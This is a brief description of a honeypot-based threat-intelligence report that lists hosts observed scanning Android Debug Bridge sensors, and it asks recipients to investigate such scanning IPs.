HIGH: Honeypot ADB Scanner Events Report

DESCRIPTION LAST UPDATED: 2024-01-03

DEFAULT SEVERITY LEVEL: HIGH

This report identifies hosts that have been observed performing scanning activity against Android Debug Bridge (ADB) aware sensors (honeypots).

ADB is a frequent attack vector abused by botnets and other threat actors. If you receive a report from us about an IP observed scanning ADB please make sure to investigate.

For a detailed description of the protocol please reference the writeup here.

Track ADB scans seen by us on the Dashboard, for example here.
